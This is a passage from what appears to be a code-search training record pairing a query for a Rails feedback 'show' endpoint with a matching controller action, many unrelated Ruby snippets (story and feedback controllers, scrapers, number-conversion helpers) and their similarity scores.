find_story\n\n\t\t@story = Story.find(params[:id])\n\n\n\n\n\tend", "def index\n @stories = @current_tag ? Story.tagged_with(@current_tag.name) : @current_channel.stories\n @stories = @stories.in_category(@current_category) if @current_category\n @stories = @stories.paginate(:page => params[:page], :per_page => 20)\n\n @feed_title = @current_category ? \"All #{@current_category.name} Stories \" : \"All Stories \"\n @feed_title += @current_tag ? \"Tagged with #{@current_tag.name}\" : \"in #{@current_channel.name} Channel\"\n\n @site_description += ',' + @stories.map(&:title).join(',')\n \n respond_to do |format|\n format.html\n format.atom do \n render :layout => false\n end\n end\n end", "def show\n @story = Story.find(params[:id]) # place dans l'objet @story accessible par la vue les infos de la story[id]\n end", "def show\n\t\t#params[:id] is the number in the url we are looking for\n\t\t#@story = Story.find(params[:id])\n\tend", "def set_story\n @story = Story.friendly.find(params[:id])\n end", "def scrape_medium_story_create_inspirations\n url = \"https://medium.com/topic/editors-picks\"\n html_file = open(url).read\n html_doc = Nokogiri::HTML(html_file)\n\n # browser = Watir::Browser.new\n # browser.goto 'https://medium.com/topic/editors-picks'\n\n # html_doc = Nokogiri::HTML.parse(browser.html)\n\n\n html_doc.xpath(\"//div[contains(concat(' ',normalize-space(@class)), 'l er q s es bz et eu ev v')]\").each do |card|\n #ai y cl bj cm bk dq ez fa ak an ds cr gk gl\n article_name = card.search('.ai.y.ce.at.cf.au.di.ex.ey.ak.an.dk.ck.cl.am').first.children.first.children.text unless card.search('.ai.y.ce.at.cf.au.di.ex.ey.ak.an.dk.ck.cl.am').empty?\n article_link = card.xpath(\".//div[contains(concat(' ',normalize-space(@class)), 'ew d ev v cc')]/div/a/@href\").first.value\n duration_text = card.xpath(\".//div[contains(concat(' ',normalize-space(@class)), 'ec s ed')]\").first.text\n article_duration = duration_text.gsub(/(\\D+\\s)(\\d+.)(\\d+)(.*)/, '\\3').to_i\n Inspiration.create(\n inspiration_type: 'article',\n source: 'Medium',\n duration: article_duration + 1, # because Medium round it below ?\n name: article_name,\n url: article_link\n )\n end\n\n end", "def current\n get_stories_by_iteration(\"current\")\n end", "def draft_stories \n @stories = Story.find_drafts(:conditions => {:user_id => self.id})\n @story_roles = StoryRole.find(:all, :conditions => {:user_id => self.id, :role => [\"moderator\", \"cowriter\"] })\n @mod_draft_stories = Story.find_drafts(:conditions => [\"stories.id IN (?)\", @story_roles.map { |sr| sr.story_id }])\n if (!@mod_draft_stories.nil?)\n @stories += @mod_draft_stories\n end\n @stories\n end", "def show\n\t\t# params[:id] is the number in the url that we are looking for\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend", "def find_story\n\t\t@story = Story.find(params[:id])\n\t\t\n\tend", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def index\n @user_stories = UserStory.all\n end", "def find_story\n\n\t\t\t@story = Story.find(params[:id])\n\n\tend", "def stories(project, api_key, filter='')\n\treq = Net::HTTP::Get.new(\n \"/services/v3/projects/#{project}/stories?filter=#{filter}\",\n {'X-TrackerToken'=>api_key}\n )\n res = Net::HTTP.start(@pt_uri.host, @pt_uri.port) {|http|\n http.request(req)\n }\n\n return res.body\nend", "def show\n @new_story = @game.stories.build\n end", "def index\n @project_stories = ProjectStory.all\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def index # Renvoie les story avec plus de 5 votes à la vue pour affichage en utilisant la classe Story (<activerecord)\n fetch_stories 'votes_count >= 5' #:order peut prendre ASC, DESC, ou RANDOM()\n end", "def find_story\n @story = Story.find(params[:id])\n end", "def get_story(activity)\n begin\n set_super_token\n project_id = activity['project_id']\n story_id = activity['stories'][0]['id']\n story = PivotalTracker::Project.find(project_id).stories.find(story_id)\n raise 'Got empty story' if story.nil?\n rescue => e\n raise WrongActivityData.new(\"Can't get story: #{story_id} from Pivotal Tracker project: #{project_id}. \" + e) \n end\n return story \n end", "def show\n @story = Story.find(params[:id])\n end", "def find_story\n\t\t@story = Story.find(params[:id])\n\tend", "def index\n\t\t@username = \"Timothy\"\n\t\t@now = Time.now\n\n\t\t#@stories = [\"google\",\"facebook\", \"twitter\", \"linkedin\" , \"Andy\"]\n\n\n\t\t#set the variable stories\n\t\t#to all the records in our story database table\n\n\t\t# @stories = Story.order(\"created_at desc\")\n\n\t\t# @stories = Story.order(\"votes_count desc, title asc\")\n\n\t\t# if it has ?sort=recent in the url\n\t\t# sort by created at\n\t\t# if it has nothing, then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\t\n\t\t\t# sort by created at, \n\n\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort]==\"featured\"\n\n\t\t\t# sort by featured\n\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"is_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\")\n\t\t\t# sort by popular\n\t\tend\n\n\t\t# add in my pagination\n\n\t\t# overwrite the @stories variable with a paginated version\n\n\t\t@stories = @stories.page(params[:page]).per(3)\n\n\tend", "def show\n @stories = []\n stories = @project.stories\n\n story_ids = []\n stories.each { |story| story_ids << story.id }\n tasks = @user.task_tracker_interface.tasks.where(story_id: story_ids)\n\n stories.each do |story|\n new_story = story.attributes\n new_story[:tasks] = tasks.select { |task| task.story_id == story.id }\n @stories.append(new_story)\n end\n end", "def show\n\n\t# params[:id] is the number in the url we are looking for\n\n\t\t# @story = Story.find(params[:id])\n\n\tend", "def index\n @page_title = 'Stories'\n if params[:tag_id]\n @obj = Tag.find_by_name(params[:tag_id])\n elsif params[:character_id]\n @obj = Character.find(params[:character_id])\n elsif params[:source_id]\n @obj = Source.find(params[:source_id])\n else\n @base_stories = Story.all\n unless can_see_adult?\n @base_stories = Story.non_adult(@base_stories)\n .or(stories.where(user: current_user_or_guest))\n end\n end\n if @obj.present?\n @base_stories = @obj.visible_stories(current_user_or_guest)\n # @page_title.prepend(@obj.name + ' ')\n @page_title += \" in \\\"#{@obj.name}\\\"\"\n end\n\n @base_stories = do_filtering(@base_stories)\n # exact_filters = {}\n # fuzzy_filters = {}\n #\n # %i[tags sources characters].each do |tp|\n # exact_filters[tp] = params[\"filter_#{tp}\".to_sym]\n # fuzzy_filters[tp] = params[\"other_#{tp}\".to_sym]\n # end\n # @base_stories = Story.tsc_wrapper(@base_stories, exact_filters, true)\n # @base_stories = Story.tsc_wrapper(@base_stories, fuzzy_filters, false)\n\n # query_params = {\n # tags: params[:other_tags],\n # sources: params[:other_sources],\n # characters: params[:other_characters]\n # }\n # @base_stories = Story.tsc_search(@base_stories, query_params)\n # @base_stories = Story.tsc_search(@base_stories, params)\n\n # sort_by = params[:sort_by] ? params[:sort_by].to_sym : :updated_at\n # sort_dir = params[:sort_direction] ? params[:sort_direction].to_sym : :desc\n\n # if sort_by == :num_comments\n # @stories = @base_stories.left_outer_joins(:comments)\n # .select('stories.*, COUNT(comments.*)')\n # .group('stories.id')\n # .order(\"COUNT(comments.*) #{sort_dir}\")\n # else\n # @stories = @base_stories.order(sort_by => sort_dir)\n # end\n\n # unless can_see_adult?\n # # @base_stories = @base_stories.reject(&:is_adult?)\n # @base_stories = Story.non_adult(@base_stories)\n # end\n\n @stories = Story.s_sort(@base_stories, params[:sort_by], params[:sort_direction])\n @stories = @stories.paginate(page: params[:page], per_page: 10)\n end", "def set_story\n @story = Story.find(params[:id])\n @book = @story.book\n end", "def index\n\t\t@username = \"funkyb\" #added a username\n\t\t@righthere_rightnow = Time.now\n\n\n\t\t#@stories = [\"Google\", \"Yahoo\", \"kobestarr\", \"iTunes\", \"dancing spiderman\"]\n\n\t\t#set the variables @stories to all of the records in our story db\n\n\t\t#@stories = Story.order(\"votes_count desc, title asc\" )\n\n\n\t\t# if it has ?sort=recent in the url then sort by \n\t\t# created at\n\t\t# if it has nothing then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created_at\n\t\t\t@stories = Story.order(\"created_at desc\" )\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t.order(\"is_featured desc, title asc\" )\n\n\t\t\t\t\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\" )\n\t\tend\n\n\t\t# this is where we are gonna add the pagination\n\t\t# overwrite the @stories variable with a paginated version\n\t\t# infor from documentation User.page(7).per(50)\n\t\t@stories = @stories.page(params[:page]).per(4)\n\t\t\n\tend", "def parse_story_from_unknown(story)\r\n work_params = {:chapter_attributes => {}}\r\n storyhead = (@doc/\"head\").inner_html unless (@doc/\"head\").blank?\r\n storytext = (@doc/\"body\").inner_html unless (@doc/\"body\").blank?\r\n if storytext.blank?\r\n storytext = (@doc/\"html\").inner_html\r\n end\r\n if storytext.blank?\r\n # just grab everything\r\n storytext = story\r\n end\r\n meta = {}\r\n unless storyhead.blank?\r\n meta.merge!(scan_text_for_meta(storyhead))\r\n end\r\n meta.merge!(scan_text_for_meta(storytext))\r\n work_params[:title] = (@doc/\"title\").inner_html\r\n work_params[:chapter_attributes][:content] = clean_storytext(storytext)\r\n work_params = work_params.merge!(meta)\r\n\r\n return work_params\r\n end", "def index\n @stories = Story.where(user_id: current_user.id)\n end", "def show\n\t\t# @story = Story.find( params[:id] )\n\n\tend", "def set_story\n @story = Story.find(params[:id])\n end", "def show_story\n puts @stories[@counter]\n @link = @stories[@counter].get_url\n puts \"To view this story in your browser, type OPEN\\n\n To see the next story, type NEXT\"\n @start = gets.chomp.downcase\n shuffle\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def set_story\n @story = Story.find(params[:id])\n end", "def set_story\n @story = Story.find(params[:id])\n end" ]
[ "0.7299301", "0.7254879", "0.7254879", "0.70710564", "0.7056004", "0.7043919", "0.7040603", "0.7032684", "0.70208776", "0.70180446", "0.6894301", "0.68873954", "0.6861479", "0.6700668", "0.66549945", "0.6623883", "0.66229945", "0.65999484", "0.65771544", "0.65370446", "0.6498646", "0.6476087", "0.64721674", "0.6459731", "0.64522177", "0.6443765", "0.64267164", "0.6425943", "0.6414074", "0.638714", "0.63746256", "0.6350468", "0.6350468", "0.6350468", "0.6350468", "0.6350468", "0.6350468", "0.63486", "0.6318472", "0.6318472", "0.63084555", "0.6301785", "0.62674856", "0.62649685", "0.62019295", "0.6188749", "0.61797106", "0.61774105", "0.6166266", "0.6153051", "0.6150188", "0.614475", "0.6139319", "0.6138495", "0.61077225", "0.61061084", "0.60981035", "0.6087734", "0.6087734", "0.6083922", "0.6083826", "0.6066707", "0.60626316", "0.6049077", "0.6023027", "0.60091615", "0.60089517", "0.60069555", "0.600136", "0.5997283", "0.5997044", "0.5994601", "0.5994601", "0.5994353", "0.5972199", "0.59667003", "0.59618896", "0.5949006", "0.59478664", "0.59478664", "0.59478664", "0.59478664", "0.594115", "0.59400785", "0.5936053", "0.59318435", "0.59316814", "0.5925308", "0.5915968", "0.5893149", "0.58879566", "0.58837587", "0.58716476", "0.5851694", "0.5849511", "0.5846711", "0.5844599", "0.5840425", "0.5836747", "0.5836747", "0.5836747" ]
0.0
-1
GET /feedbacks/1 GET /feedbacks/1.json
def show @feedback = Feedback.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @feedback } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @feedbacks = Feedback.find(params[:id])\n render json: @feedbacks\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def show\n render json: @feedback\n end", "def show\n @title = t('view.feedbacks.show_title')\n @feedback = find_feedback\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def index\n @feedbacks = Feedback.all.order('created_at DESC')\n render json: @feedbacks\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @feedbacks\n end", "def index\n @title = t('view.feedbacks.index_title')\n @feedbacks = @lesson.feedbacks.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all\n respond_to do |format|\n if request.xhr?\n format.html # index.html.erb\n end\n format.json { render json: @feedbacks }\n end\n end", "def index\n @feedback_items = FeedbackItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedback_items }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def index\n @feedback_requests = FeedbackRequest.all\n end", "def index\n respond_with Feedback.all\n end", "def index\n @feedbacks = Feedback.where(status_id: 2)\n @feedback_requests = Feedback.where(status_id: 1)\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with(@feedback)\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with(@feedback)\n end", "def show\n @feedback = Feedback.find(params[:id])\n respond_with @feedback\n end", "def show\n @feedback_item = FeedbackItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_item }\n end\n end", "def feedback\n client.feedback app_id\n end", "def show\n @feedback_form = FeedbackForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_form }\n end\n end", "def index\n @user_feedbacks = UserFeedback.all\n end", "def show\n @customer_feedback = CustomerFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def show\n @customer_feedback = CustomerFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedbacks }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def show\n @feedback_short = FeedbackShort.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_short }\n end\n end", "def show\n @resume_feedback = ResumeFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resume_feedback }\n end\n end", "def show\n @validated_feedback = ValidatedFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @validated_feedback }\n end\n end", "def show\n @session = Session.find(params[:id])\n @feedback= @session.feedback\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def show\n @feedback_page = FeedbackPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback_page }\n end\n end", "def index\n @feedbacks = Feedback.all.sort_by(&:created_at).reverse\n respond_with @feedbacks \n end", "def show\n @presentation = Presentation.find(params[:id])\n @feedbacks = @presentation.feedbacks\n\n\n end", "def show\n @feedback = Feedback.find(params[:id])\n @comment = Comment.new\n\n respond_to do |format|\n if request.xhr?\n format.html # show.html.erb\n end\n format.json { render json: @feedback }\n end\n end", "def new\n @title = t('view.feedbacks.new_title')\n @feedback = @lesson.feedbacks.build(default_args)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end", "def feedback\n @seller = Seller.find(params[:id])\n @feedback = @seller.feedback.find(:all)\n \n respond_to do |format|\n format.html # feedback.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n if @feedback.save\n render json: @feedback, status: :created\n else\n render json: @feedback.errors, status: :unprocessable_entity\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feedback }\n end\n end", "def new\n @feedback_short = FeedbackShort.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback_short }\n end\n end", "def new\n @customer_feedback = CustomerFeedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer_feedback }\n end\n end", "def index \n @feedback = @line_item.feedback\n \n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def show\n @purchase_feedback = PurchaseFeedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_feedback }\n end\n end", "def new\n @feedback_item = FeedbackItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback_item }\n end\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feedback.to_xml }\n end\n end", "def index\n @feedback_users = FeedbackUser.all\n end", "def index\n @feedback_items = FeedbackItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedback_items }\n end\n end", "def new\n @feedback_form = FeedbackForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback_form }\n end\n end", "def show\n @team = User.find(@idea.team_ids)\n authorize @feedback.idea\n @feedbacks = @feedback.root_comments.paginate(page: params[:page], per_page: 10)\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def create\n \n @feedback = Feedback.new(params[:feedback])\n \n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render json: @feedback, status: :created, location: @feedback }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to action: \"index\", notice: 'Feedback was successfully created.' }\n format.json { render :show, status: :created, location: @feedback }\n else\n format.html { render :new }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @feedback = Feedback.new(params[:feedback])\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render json: @feedback, status: :created, location: @feedback }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @feedback = Feedback.new(params[:feedback])\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render json: @feedback, status: :created, location: @feedback }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def set_feedback\n @feedback = Feedback.find(params[:id])\n end", "def new\n @feedback = Feedback.new\n respond_with @feedback\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render action: 'show', status: :created, location: @feedback }\n else\n format.html { render action: 'new' }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @team = User.find(@idea.team_ids)\n @idea = Idea.find(params[:idea_id])\n authorize @idea\n\n @feedbacks = @idea.get_published_feedbacks.paginate(page: params[:page], per_page: 10)\n respond_to do |format|\n format.js\n format.html\n end\n end", "def set_feedback\n @feedback = SiteFeedback::Feedback.find(params[:id])\n end", "def create\n @feedback = @entry.feedbacks.new(params[:feedback].merge(user: current_user))\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to contest_entry_url(@contest, @entry), notice: 'Feedback was successfully created.' }\n format.json { render json: @feedback, status: :created, location: @feedback }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @feedback = Feedback.new(feedback_params)\n\n respond_to do |format|\n if @feedback.save\n format.html { redirect_to @feedback, notice: 'Feedback was successfully created.' }\n format.json { render :show, status: :created, location: @feedback }\n else\n format.html { render :new }\n format.json { render json: @feedback.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @resume_feedback = ResumeFeedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resume_feedback }\n end\n end" ]
[ "0.8084282", "0.7708273", "0.76050806", "0.74718213", "0.7187808", "0.7148408", "0.7148408", "0.7148408", "0.7148408", "0.7148408", "0.7148408", "0.7148408", "0.7148408", "0.71111286", "0.70773435", "0.70761836", "0.7047566", "0.7027317", "0.7027317", "0.7027317", "0.69922346", "0.6924136", "0.6921361", "0.689049", "0.689049", "0.68576396", "0.68526417", "0.68403316", "0.682636", "0.6817945", "0.67913765", "0.67913765", "0.67236763", "0.67236763", "0.66971326", "0.66665995", "0.666262", "0.6655678", "0.6634328", "0.6632324", "0.65871394", "0.6564402", "0.65593547", "0.6487635", "0.647464", "0.64657426", "0.6462245", "0.6440242", "0.6440242", "0.6440242", "0.643904", "0.6428368", "0.642569", "0.64024043", "0.6372565", "0.63581604", "0.63581604", "0.63581604", "0.63235736", "0.63235736", "0.62921864", "0.6291741", "0.6283978", "0.6277566", "0.6273406", "0.6262773", "0.6261213", "0.6242334", "0.6242334", "0.6237288", "0.62364334", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.62357944", "0.6233586", "0.6216718", "0.6213366", "0.6197981", "0.61956143", "0.61942434", "0.6191994" ]
0.754554
7
Helper to convert floats to integers (pennies)
def to_pennies(dec) pennies = (dec * 100).to_int return pennies end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def numericize\n\t\tcollect(&:to_f)\n\tend", "def type_cast(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\n end", "def typecast_to_integer(value)\n typecast_to_numeric(value, :to_i)\n end", "def int_or_f(number)\n if number.to_f - number.to_i == 0.0\n number = number.to_i\n else\n number = number.to_f\n end\nend", "def convert_int_to_f(num)\n if num.class == Integer || num.class == Float\n return num.to_f/100.to_f\n end\n end", "def convert_i_f(value)\n if (value =~ /\\./)\n value = value.to_f\n elsif\n value = value.to_i\n end\n return value\nend", "def NUM2INT val\n @fisk.shr(val, @fisk.lit(1))\n end", "def Integer(f)\n f.to_i\nend", "def ftoi(float, type, signed=true)\n val = Convert(float, :decimal)\n type = LLVM::Script::Validate(type, :type)\n if signed\n @builder.fp2si(val, type)\n else\n @builder.fp2ui(val, type)\n end\n end", "def to_i\n to_f.to_i\n end", "def temp_converter(temp)\n\ttemp = temp*1.8 + 32\n\treturn temp.to_i\nend", "def int_or_float( n ) # demo\n if (n - n.round).abs < 0.00000000001 # alternative n % 1 == 0, but this also helps with bad float maths\n n.round\n else\n return n\n end\nend", "def to_ruby\n if CF.CFNumberIsFloatType(self) == 0\n to_i\n else\n to_f\n end\n end", "def to_int(*) end", "def to_int() end", "def to_int() end", "def to_i\n @value.round\n end", "def to_i\n @value.round\n end", "def to_i\n @value.round\n end", "def to_i(*) end", "def parse(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\nend", "def float_to_integral_significand_exponent(x)\n Float.context.to_int_scale(x)\nend", "def convert_to_i(input)\n input.to_i\n end", "def to_i(base=10) end", "def to_i() end", "def to_i() end", "def to_i() end", "def to_i() end", "def to_i() end", "def to_numeric(anything)\n\n num = BigDecimal.new(anything.to_s)\n if num.frac == 0\n num.to_i\n else\n num.to_r\n end\n end", "def to_i\n @numer / @denom\n end", "def to_i\n n = to_var.to_i\n positive? ? n : -n\n end", "def round_float(f)\n retval = f == f.to_i ? f.to_i : f\n return retval\n end", "def round_down_number(float)\n float.to_i\nend", "def convert_to_ints\n @tree.each_index do |vert_pos|\n @tree[vert_pos].each_index do |horiz_pos|\n @tree[vert_pos][horiz_pos] = @tree[vert_pos][horiz_pos].to_i\n end\n end\n end", "def typecast_value_integer(value)\n value.to_i\n end", "def to_integer(input); end", "def pct_to_int(pct)\n (pct * 100).to_i\n end", "def convert(f)\n (f - 32.0) * 5 / 9\nend", "def integer_or_float(x)\n if x.include?(\".\")\n return x.to_f\n else\n return x.to_i\n end\nend", "def to_integer(value)\n return value.round if value.is_a?(Numeric)\n value = value.to_s if value.is_a?(Symbol)\n value.to_i if value.is_a?(String) && value.match?(NUMBER_PATTERN)\n end", "def to_i; end", "def to_i; end", "def to_i; end", "def to_i; end", "def to_i; end", "def to_i; end", "def array_to_int(arr)\n\tarr_int = 0\n\ti = 1\n\t\n\tarr.reverse.each do |d|\n\t\tarr_int += d*i\n\t\ti *= 10\n\tend\n\t\n\treturn arr_int\nend", "def array_to_int(arr)\n\tarr_int = 0\n\ti = 1\n\t\n\tarr.reverse.each do |d|\n\t\tarr_int += d*i\n\t\ti *= 10\n\tend\n\t\n\treturn arr_int\nend", "def price_int_to_float()\n return convert_int_to_f(self.price)\n end", "def int_or_float(num)\n return num.include?(\".\") ? num.to_f : num.to_i\nend", "def to_f(aNum)\r\n# - - - - - - - - - - - - - - - - - -\r\n return 0.0 + aNum\r\nend", "def to_i_with_method\n to_x_with_method.to_i\n end", "def to_float_or_int(v)\n v.match('\\.').nil? ? Integer(v) : Float(v)\n end", "def convert_values(source, destiny, weigth)\n [Integer(source), Integer(destiny), Float(weigth)]\n end", "def numeric(object)\n object.to_s =~ /(^[-+]?[0-9]+$)|(\\.0+)$/ ? object.to_i : Float(object)\n end", "def try_a_number(v)\n ((float = Float(v)) && (float % 1.0 == 0) ? float.to_i : float) rescue v\n end", "def number_type a\n if a.include?(\".\")\n return a.to_f.round(2)\n else\n return a.to_i\n end\nend", "def number_type b\n if b.include?(\".\")\n return b.to_f.round(2)\n else\n return b.to_i\n end\nend", "def to_int_scale(x)\n sgn, d, _b, e = x.split\n c = d.to_i\n [sgn<0 ? -1 : c, -c, e-d.size]\n end", "def convert(num)\n return num = num * 0.453592\nend", "def to_i\n end", "def to_number(value)\n return value.to_i unless value =~ /\\./\n return value.to_f if value =~ /\\./ \n end", "def round_up_number(float)\n float.to_i + 1\nend", "def to_number(obj)\n case obj\n when Numeric\n obj\n when String\n (obj.strip =~ /^\\d+\\.\\d+$/) ? obj.to_f : obj.to_i\n when DateTime, Date, Time\n obj.to_time.to_i\n else\n 0\n end\n end", "def to_number(obj)\n case obj\n when Numeric\n obj\n when String\n (obj.strip =~ /^\\d+\\.\\d+$/) ? obj.to_f : obj.to_i\n when DateTime, Date, Time\n obj.to_time.to_i\n else\n 0\n end\n end", "def to_i\n in_native.to_i\n end", "def value_as_int(item)\n components = value_as_array(item)\n return nil if components.nil?\n\n (0..(components.length - 1)).collect { |i| components[i].to_s.present? ? components[i] * 10**(10 - 2 * i) : 0 }.sum\n end", "def to_int\n end", "def ieee754_round (number)\r\n [number].pack('f').unpack('f*')[0].to_i\r\n end", "def to_i\n end", "def to_i\n end", "def convert( temp_in_farenheit)\n (temp_in_farenheit.to_f - 32) * 5/9\nend", "def number\n number = number.to_s\n if number.includes?('.')\n number = number.to_f\n else\n number = number.to_i\n end\nend", "def to_i()\n #This is a stub, used for indexing\n end", "def to_number_array(string_array)\nstring_array.map {|x| x.to_i }\ni = 